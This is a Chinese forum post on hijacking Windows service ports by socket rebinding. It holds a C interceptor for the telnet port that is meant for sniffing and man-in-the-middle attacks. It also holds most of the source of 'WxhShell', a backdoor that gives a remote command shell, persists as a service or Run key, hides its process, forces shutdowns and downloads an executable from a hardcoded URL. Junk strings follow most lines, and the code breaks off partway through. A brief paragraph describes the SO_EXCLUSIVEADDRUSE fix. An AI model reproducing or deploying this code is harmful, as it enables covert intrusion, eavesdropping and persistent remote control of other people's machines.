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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oJfr +3I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Phke`3tth  
[Jv@J\  
  saddr.sin_family = AF_INET; #t+d iR  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8]LD]h)B"  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w4gg@aO  
pxa(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $*?,#ta  
)6aAB|  
  这意味着什么?意味着可以进行如下的攻击: r9dyA5oD  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MNV % =G  
Gh}*q|Lz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ukUGvK  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vuYSVI2=H  
O6OP =K!t:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F|!){=   
yNTK .  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ej"+:. "\e  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 VTH> o>g  
>qF CB\(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^- d%r  
-(=eM3o-9m  
  #include 3p'I5,}  
  #include Cid ;z  
  #include GmP@;[H"  
  #include    8Q'0h m?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {yExQbN  
  int main() %QP0  
  { 2=^m9%  
  WORD wVersionRequested; n<u $=H  
  DWORD ret; X)% A6M  
  WSADATA wsaData; [D4Es  
  BOOL val; >j QWn@  
  SOCKADDR_IN saddr; J7g8D{4  
  SOCKADDR_IN scaddr; \QCJ4}\CS  
  int err; Dbz3;t  
  SOCKET s; 7yh /BZ1  
  SOCKET sc; aSnF KB  
  int caddsize; eYvWZJa4  
  HANDLE mt; 55fC~J<  
  DWORD tid;   # }y2)g  
  wVersionRequested = MAKEWORD( 2, 2 ); Sb82}$sO  
  err = WSAStartup( wVersionRequested, &wsaData ); sdo [D  
  if ( err != 0 ) { nX`u[ks  
  printf("error!WSAStartup failed!\n"); ] @u6HH~^  
  return -1; RtM8yar+sn  
  } EU+S^SyZi  
  saddr.sin_family = AF_INET; =aTv! 8</  
   1waTTT?"Ho  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L}pt)w*V1j  
W@I|Q -  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Zo~  
  saddr.sin_port = htons(23); @P?~KW6<|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) io8'g3<  
  { ]&Rx@&e*  
  printf("error!socket failed!\n"); u@cYw:-C  
  return -1; #*UN >X  
  } $[a8$VY^Cm  
  val = TRUE; 0a XPPnuX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]Yn_}Bq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SR |`!  
  { @/ohg0  
  printf("error!setsockopt failed!\n"); P&^;656r  
  return -1; wLnf@&jQ%  
  } 9eQxit7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dx@-/^.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m()RU"WY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2HsLc*9{4  
,tu.2VQc@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |$ lM#Ua  
  { @X;!92i  
  ret=GetLastError(); ) iN/ua  
  printf("error!bind failed!\n"); >E{";C)  
  return -1; DBr ZzA  
  } lSVp%0jR  
  listen(s,2); fO[+LR 'ax  
  while(1) 2`N,,  
  { I$Op:P6.E  
  caddsize = sizeof(scaddr); Zm_UR*"  
  //接受连接请求 8&qZ0GLaT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?q{ ,R"  
  if(sc!=INVALID_SOCKET) LQRQA[^  
  { F7EKoDt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GQUe!G9  
  if(mt==NULL) (Fhs"  
  { WGZ9B^A  
  printf("Thread Creat Failed!\n");  jYmR  
  break; n|RJ;d30Q  
  } ORJIo  
  } mQ|v26R  
  CloseHandle(mt); !u[eaLxV  
  } +b3RkkC  
  closesocket(s); 1e{IC=  
  WSACleanup(); :fZ}o|t7  
  return 0; QLiu2U o  
  }   8y.wSu  
  DWORD WINAPI ClientThread(LPVOID lpParam) gf &Pn  
  { B][U4WJ)  
  SOCKET ss = (SOCKET)lpParam; #(N+(():  
  SOCKET sc; D"2&P^-  
  unsigned char buf[4096]; ':3 pq2{  
  SOCKADDR_IN saddr; xg;+<iW  
  long num; YSic-6z0Ms  
  DWORD val; lJ}_G>GJ  
  DWORD ret; DpvI[r//'*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L(|N[#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c]n1':FT"  
  saddr.sin_family = AF_INET; 7'W%blg!V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {byBc G  
  saddr.sin_port = htons(23); g+Sbl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <oT^A|JFj  
  { %^4CSh  
  printf("error!socket failed!\n"); ;RC{<wBTx  
  return -1; ;S^'V  
  } q$Zh@  
  val = 100; WrxP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d"*uBVzXm  
  { }Mp:JPH&S4  
  ret = GetLastError(); O7-mT8o  
  return -1; q1"$<# t  
  } F@'Jbd`   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BW}U%B^.  
  { qG?Qc (  
  ret = GetLastError(); -w}]fb2Q>  
  return -1; C'.L20qW  
  } Bn#?zI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) * K D I}B>  
  { Oj3.q#)`Z  
  printf("error!socket connect failed!\n"); {GK;63`1  
  closesocket(sc); j<V Fn~*_  
  closesocket(ss); v1+3}5b'uF  
  return -1; wsZF;8ut  
  } \IV1j)I"u  
  while(1) 0ghGBuv1s  
  { `>f6) C-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ' g=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %et } A93  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a!7A_q8M  
  num = recv(ss,buf,4096,0); Z<1FSk,[  
  if(num>0) {JZZZY!n2  
  send(sc,buf,num,0); |ef7bKU8  
  else if(num==0) N kb|Fd/s  
  break; cu7hBf j  
  num = recv(sc,buf,4096,0); }Gz~nf%  
  if(num>0) r@h5w_9  
  send(ss,buf,num,0); 4o <Uy  
  else if(num==0) 8<S~Z:JK  
  break; _~IR6dKE  
  } )t0$qd ]  
  closesocket(ss); S;3R S;  
  closesocket(sc); J%v=yBC2  
  return 0 ; -3t7*  
  } U\4g#!qj  
42_`+Vt]d7  
l&OKBUG  
========================================================== X$ 0?j 1  
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下边附上一个代码,,WXhSHELL bH7X'%r  
A!s`[2 Z  
========================================================== m[? E  
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#include "stdafx.h" D.B.7-_8  
R} eN@#"D  
#include <stdio.h> >Ea8G,  
#include <string.h> nhB1D-  
#include <windows.h> lGPUIoUo  
#include <winsock2.h> m ,* QP*  
#include <winsvc.h> #|Y5,a ,{  
#include <urlmon.h> NPhhD&W_  
>:AARx%  
#pragma comment (lib, "Ws2_32.lib") KyVQh8  
#pragma comment (lib, "urlmon.lib") \f]k CB  
!O+) sbd<  
#define MAX_USER   100 // 最大客户端连接数 RkH W   
#define BUF_SOCK   200 // sock buffer ^=BTz9QM  
#define KEY_BUFF   255 // 输入 buffer Yl4^AR&  
f/ ?_  
#define REBOOT     0   // 重启 zvYq@Mhr  
#define SHUTDOWN   1   // 关机 HmiR.e%<b  
j`JMeCG=Ee  
#define DEF_PORT   5000 // 监听端口 ?J%1#1L"/  
F3N?Nk/  
#define REG_LEN     16   // 注册表键长度 *rM^;4Zt  
#define SVC_LEN     80   // NT服务名长度 p#ol*m5wE  
:#LLo}LKp  
// 从dll定义API N|8P)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6*PYFf`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :8L8q<U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bx#>BK!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L6t+zIUc-~  
j-4VB_N@  
// wxhshell配置信息 %}SGl${-  
struct WSCFG { xHUsFm s  
  int ws_port;         // 监听端口 .GsV>H  
  char ws_passstr[REG_LEN]; // 口令 sd,J3  
  int ws_autoins;       // 安装标记, 1=yes 0=no _BM" ]t*  
  char ws_regname[REG_LEN]; // 注册表键名 j>*R]mr6  
  char ws_svcname[REG_LEN]; // 服务名 6%'.A]"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @G BxL*e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =!kk|_0%E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D8inB+/-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KX76UW   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HFKf kAl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ) brVduB  
q4R5<LW"  
}; VvvRRP^q  
4H,`]B8(D  
// default Wxhshell configuration n(b(yXYm]  
struct WSCFG wscfg={DEF_PORT, 4~k\j  
    "xuhuanlingzhe", J4QXz[dG  
    1, 931bA&SL=/  
    "Wxhshell", aH 4c02s$  
    "Wxhshell", E[2m&3&  
            "WxhShell Service", N^#ZJoR  
    "Wrsky Windows CmdShell Service", M}`B{]lLz  
    "Please Input Your Password: ", 9 8j>1 "8  
  1, ~T ]m>A!  
  "http://www.wrsky.com/wxhshell.exe", 88VZR&v   
  "Wxhshell.exe" $}<PL}+  
    }; =@m &s^R  
{v=T [D  
// 消息定义模块 vX{J' H]u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $&y%=-]|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T?:Rdo!:u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u5O+1sZ"6  
char *msg_ws_ext="\n\rExit."; GS0;bI4ay  
char *msg_ws_end="\n\rQuit."; o}$XH,-9&  
char *msg_ws_boot="\n\rReboot..."; aK&b{d  
char *msg_ws_poff="\n\rShutdown..."; jK!Au  
char *msg_ws_down="\n\rSave to "; FemC Lvu  
PpGL/,]X  
char *msg_ws_err="\n\rErr!"; w Qgo N%  
char *msg_ws_ok="\n\rOK!"; ||T2~Q*:y  
z{[xze-f  
char ExeFile[MAX_PATH]; W 0(_ ~  
int nUser = 0; O*eby*%h  
HANDLE handles[MAX_USER]; | h`0u'#  
int OsIsNt; {HL3<2=o  
ZRv*!n(Ug<  
SERVICE_STATUS       serviceStatus; D!Q">6_"z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;o^eC!:/%  
}E+!91't.^  
// 函数声明 ;,$NAejgd  
int Install(void); B\<Q ;RI2;  
int Uninstall(void); pM^9c7@!:  
int DownloadFile(char *sURL, SOCKET wsh); Y&[1`:-~-  
int Boot(int flag); ~res V  
void HideProc(void); <A<{,:5C  
int GetOsVer(void); (hTCK8HK  
int Wxhshell(SOCKET wsl); x4g3 rmp  
void TalkWithClient(void *cs); wAX1l*`  
int CmdShell(SOCKET sock); O#x*iI%  
int StartFromService(void); __`*dL>*  
int StartWxhshell(LPSTR lpCmdLine); b_,|>U  
*YW/_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &K[_J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3t`P@nL0;  
J c g,#@  
// 数据结构和表定义 @En^wN  
SERVICE_TABLE_ENTRY DispatchTable[] = g3Ec"_>P  
{ <p}R~zk  
{wscfg.ws_svcname, NTServiceMain}, aHs^tPg  
{NULL, NULL} {n(b{ ibl  
}; =CK4.   
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// 自我安装 w<C#Bka  
int Install(void) h "Xg;(K  
{ g+DzscIT  
  char svExeFile[MAX_PATH]; _6_IP0;  
  HKEY key; uG?_< mun  
  strcpy(svExeFile,ExeFile); $u7; TW6QD  
wi hH?~]  
// 如果是win9x系统,修改注册表设为自启动 aY3^C q(r  
if(!OsIsNt) { 1)9sf0LyU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j;']cWe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lwHzj&/ ~  
  RegCloseKey(key); +)kb(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UUSq$~Ct  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _6O\W%it  
  RegCloseKey(key); bnm P{Ps  
  return 0; D Gr> 2  
    } ,RE\$~`w  
  } yN~dU0.G6!  
}  '/`= R  
else { eKgisY4#  
7bqBk,`9  
// 如果是NT以上系统,安装为系统服务 ykv94i?Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;E@G`=0St  
if (schSCManager!=0) pR `>b 3  
{ | B. 0TdF  
  SC_HANDLE schService = CreateService _=+V/=  
  ( r9X?PA0f  
  schSCManager, Ae mDJ8Y  
  wscfg.ws_svcname, J+[_Wd  
  wscfg.ws_svcdisp, dODt(J}%  
  SERVICE_ALL_ACCESS, #@^t;)|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q&MZN);.  
  SERVICE_AUTO_START, g$( V^  
  SERVICE_ERROR_NORMAL, qi;f^9M%  
  svExeFile, OH;b"]  
  NULL, I*LknU@  
  NULL, k:*S&$S!E  
  NULL, -9"['-WH,  
  NULL, 'I_Qb$  
  NULL eL^.,H0  
  ); NxjB/N  
  if (schService!=0) e&7JpT  
  { OTC!wI g  
  CloseServiceHandle(schService); K|Ld,bq  
  CloseServiceHandle(schSCManager); g$HwxA9Gp/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LAVAFlK5  
  strcat(svExeFile,wscfg.ws_svcname); ZPiq-q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }xBc0g r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }tsYJlh5  
  RegCloseKey(key); "u6`m?  
  return 0; }Mo=PWI1?  
    } @|<<H3I  
  } Is]aj-#r  
  CloseServiceHandle(schSCManager); ]GN7+ 8l  
} sW)Zi  
} t0z!DOODZP  
*_R]*o!W'  
return 1; [E+$?a=  
} HHiT]S9  
XID<(HBA"!  
// 自我卸载 |3F02  
int Uninstall(void) /E Bo3`  
{ 7w 37S  
  HKEY key; f:ZAG4B  
?g?L3vRK  
if(!OsIsNt) { )\sc83L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9UKp?SIF  
  RegDeleteValue(key,wscfg.ws_regname); !lEY=1nHOJ  
  RegCloseKey(key); (ohq0Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lrnyk(M}Q.  
  RegDeleteValue(key,wscfg.ws_regname); *F ? 8c  
  RegCloseKey(key); /TZOJE(2j  
  return 0; Qi_>Mg`x  
  } U Z.=aQ}M  
} r)Ap8?+  
} V2$h8\a  
else { !6s"]WvF  
b'J'F;zh>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /DQc&.jK  
if (schSCManager!=0) M%1}/!J3  
{ _7IKzUn9g[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )N=NR2xBZ  
  if (schService!=0) D<8HZ%o  
  { '&.#  
  if(DeleteService(schService)!=0) { :> D[n1v  
  CloseServiceHandle(schService); #[zI5)Meh  
  CloseServiceHandle(schSCManager); t'BLVCu  
  return 0; (7XCA,KTGI  
  } W5?yy>S6N  
  CloseServiceHandle(schService); V6t,BJjS  
  } `kbSu}  
  CloseServiceHandle(schSCManager); 6T+FH;h  
} NG  
} Mr?Xp(.}G  
j6>.n49_  
return 1; .u:81I=w(  
} r) $+   
(4'$y`Z  
// 从指定url下载文件 'rMN=1:iu"  
int DownloadFile(char *sURL, SOCKET wsh) g)s{ IAVx  
{ <@}I0  
  HRESULT hr; f8M$45A'  
char seps[]= "/"; p!sWYui  
char *token; `!D s6  
char *file; CamE'  
char myURL[MAX_PATH]; 1QmH{jM  
char myFILE[MAX_PATH]; o&`<+4 i  
2WtRJi?b|  
strcpy(myURL,sURL); F#5B<I  
  token=strtok(myURL,seps); 2P/K K  
  while(token!=NULL) c6nflk.l  
  { tj Gd )  
    file=token; OR}c)|1  
  token=strtok(NULL,seps); ~=8uN<  
  } ]l'Y'z,}  
cgl*t+o&  
GetCurrentDirectory(MAX_PATH,myFILE); /%0<p,T  
strcat(myFILE, "\\"); qHNE8\9  
strcat(myFILE, file); 6)vSG7Ise  
  send(wsh,myFILE,strlen(myFILE),0); R  zf  
send(wsh,"...",3,0); ua5OGx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kv.>Vf.T}_  
  if(hr==S_OK) ]4R[<<hd  
return 0; q4}PM[K?=\  
else Qtbbb3m;  
return 1; Ku\Y'ub  
F1jglH/MF)  
} +n<k)E@>J  
]%BWIqbr  
// 系统电源模块 dxZu2&gi  
int Boot(int flag) S,<EEtXQ  
{ UJfEC0  
  HANDLE hToken; YqPQ%  
  TOKEN_PRIVILEGES tkp; ;]gP@h/  
oqLfesV~  
  if(OsIsNt) { {"&SJt[%X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /1x,h"T\<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'XzXZJ[uq  
    tkp.PrivilegeCount = 1; ZO4*sIw%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5aln>1x>hn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t Z`z  
if(flag==REBOOT) { _~q?_'kx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v^zu:Z*  
  return 0; oP!;\a( SL  
} bYi`R)  
else { 2RN)<\P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &Y 4F!Rb  
  return 0; ^5A t?I8  
} :WSDf VX  
  } DyQM>xw)t  
  else { 1Wm)rXW[x  
if(flag==REBOOT) { *+uHQgn(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3&6#F"7  
  return 0; M/):e$S  
} &g.@u~SI1  
else { wE@'ap#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TQ`Rk;0R  
  return 0; LJOr!rWi  
} Q %wY  
} {_Lg tu  
' Hi : 2Wh  
return 1; W-.pmU e2  
} :$_6SQ<?  
H}H7lO  
// win9x进程隐藏模块 N nk@h  
void HideProc(void) mcn 2Wt  
{  ~BDu$  
nPs7c %  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `5~ +,/Ys  
  if ( hKernel != NULL ) $2M#qkik-  
  { [74F6Qp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H(Q.a=&4!p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7<jZ`qdq_  
    FreeLibrary(hKernel); Pfm_@'8  
  } ^Ve<>b  
esHQoIhd  
return; 0TmR/uUT  
} "Ae@lINn[y  
 1~l I8  
// 获取操作系统版本 ^-rfvc  
int GetOsVer(void) qwK2WE%T  
{ MY/3] g<  
  OSVERSIONINFO winfo; CBDG./  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {5d9$v7k4  
  GetVersionEx(&winfo); Xe#K{gA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (`6T&>(4  
  return 1; 9elga"4:'  
  else NTS# sgP  
  return 0; k6Uc3O  
} u ~3%bJ]  
vk>b#%1{  
// 客户端句柄模块 ~}!3G  
int Wxhshell(SOCKET wsl) &q`q4g&7  
{ 2MATpV#BT  
  SOCKET wsh; MB%Q WU  
  struct sockaddr_in client; $8p7D?Y  
  DWORD myID; Dk+&X-]6x5  
s TOa  
  while(nUser<MAX_USER) @ JvPx0  
{ &AlJ "N|  
  int nSize=sizeof(client); "wlt> SU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t=*@yQ nB  
  if(wsh==INVALID_SOCKET) return 1; n.sbr  
,R$u?c0>'&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PG8^.)]M  
if(handles[nUser]==0) #-8\JEn  
  closesocket(wsh); r1<F  
else k ^ YO%_  
  nUser++; ]c&<zeX,  
  } }hYZ" A~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (YY~{W$w(  
cgb2K$B_"  
  return 0; sP-^~ pp  
} n39t}`WIl  
_:+ KMR  
// 关闭 socket `+t.!tv!  
void CloseIt(SOCKET wsh) gPu2G/Y  
{ |A%<Z(  
closesocket(wsh); uNn[[LS  
nUser--; A/7X9ir  
ExitThread(0); (_4;') 9  
} H"Klj_<dH0  
tX!n sm1  
// 客户端请求句柄 * ,v|y6  
void TalkWithClient(void *cs) jqH3J2L  
{ `]LSbS  
{QbvR*gv  
  SOCKET wsh=(SOCKET)cs; y7S4d~&  
  char pwd[SVC_LEN]; LTJc,3\,  
  char cmd[KEY_BUFF]; ^m/14MN|  
char chr[1]; j F-v% ?  
int i,j; `xiCm':  
}<PxWZ`,\  
  while (nUser < MAX_USER) { 8?*RIA.a  
P/JK$nb  
if(wscfg.ws_passstr) { p#SY /KIw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c}[+h5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ FZ^6*  
  //ZeroMemory(pwd,KEY_BUFF); eZr&x~] -w  
      i=0; ]#/4Y_d  
  while(i<SVC_LEN) { -o+74=E8[?  
'!P"xBVAu  
  // 设置超时 'a^{=+  
  fd_set FdRead; N~g :Wf!  
  struct timeval TimeOut; =`Y.=RL+'n  
  FD_ZERO(&FdRead); f'q 28lVf  
  FD_SET(wsh,&FdRead); ri1C-TJM)  
  TimeOut.tv_sec=8; PY3ps2^K.  
  TimeOut.tv_usec=0; X%bFN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qzFQEepso  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "+?Cz !i   
j#0j)k2Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g\GdkiIj  
  pwd=chr[0]; +%N KQ'49I  
  if(chr[0]==0xd || chr[0]==0xa) { tn|,O.t  
  pwd=0;  q{die[J  
  break; CK_(b"  
  } *?yJkJ"  
  i++; 5 cK@WE:  
    } Px5t,5xT8  
'SLE;_TD  
  // 如果是非法用户,关闭 socket o5\b'hR*#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Aa?I8sbc  
} u@p?  
DWt*jX*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4$,,Ppn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qQxz(}REu9  
0aR,H[r[?  
while(1) { JK#vkCkyM  
Ufo>|A6;$  
  ZeroMemory(cmd,KEY_BUFF); 5FC4@Ms`  
2JmZ{  
      // 自动支持客户端 telnet标准   JNWg|Qt  
  j=0; A>NsKWf{  
  while(j<KEY_BUFF) { Je4Z(kj 0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b'ml=a#i 0  
  cmd[j]=chr[0]; 5j"1z1_&  
  if(chr[0]==0xa || chr[0]==0xd) { gQ~5M'#  
  cmd[j]=0; /?"8-0d  
  break; ql5x2n  
  } IGFGa@C  
  j++; J NC  
    } lEPAP|~uw  
 17hTr  
  // 下载文件 ovf/;Q/}  
  if(strstr(cmd,"http://")) { Aox3s?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Wl(9$  
  if(DownloadFile(cmd,wsh)) 'ul\Q `N3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %K 4  
  else 0"xPX#Cvj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2aNT#J"_  
  } ID};<[  
  else { W VkR56  
<64HveJ  
    switch(cmd[0]) { }0=<6\+:`  
  Q |i9aE  
  // 帮助 7N2\8kP  
  case '?': { Q"J-tP!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :ipoD%@  
    break; a0Oe:]mo\  
  } -E&e1u,Mi  
  // 安装 ul5|.C  
  case 'i': { !)NidG  
    if(Install()) ]Ql 0v"` F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OCyG_DLT$5  
    else H5wb_yBQ+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J/D|4fC  
    break; ),@f6](  
    } /k:$l9C[  
  // 卸载 83 ]PA<R  
  case 'r': { 00vBpsZj2;  
    if(Uninstall()) b_$ 1f >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qFR dg V>8  
    else 96|[}:+$&:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >cOei K  
    break; 0x)dnq\  
    }  v%{0 Tyk  
  // 显示 wxhshell 所在路径 WXUkuO  
  case 'p': {   &LQ%  
    char svExeFile[MAX_PATH]; >kYp%r6  
    strcpy(svExeFile,"\n\r"); G`]w?Di4  
      strcat(svExeFile,ExeFile); aSaAC7sFk  
        send(wsh,svExeFile,strlen(svExeFile),0); u@ N~1@RT|  
    break; k1N$+h ;\  
    } B0mLI%B  
  // 重启 gb-{2p>}  
  case 'b': { AO 0!liQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -rY 7)=  
    if(Boot(REBOOT)) s_wUM)!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?712=9  
    else { 2P~)I)3V  
    closesocket(wsh); sy<iKCM\  
    ExitThread(0); ahIE;Y\j'  
    } mVH,HqsXa  
    break; H:oQ  
    } XQ;I,\m  
  // 关机 ['Z{@9  
  case 'd': { Sgj/s~j~1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )r!e2zc=Q  
    if(Boot(SHUTDOWN)) V 7<eQ0;m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Px4/O~bLk  
    else { oNRG25  
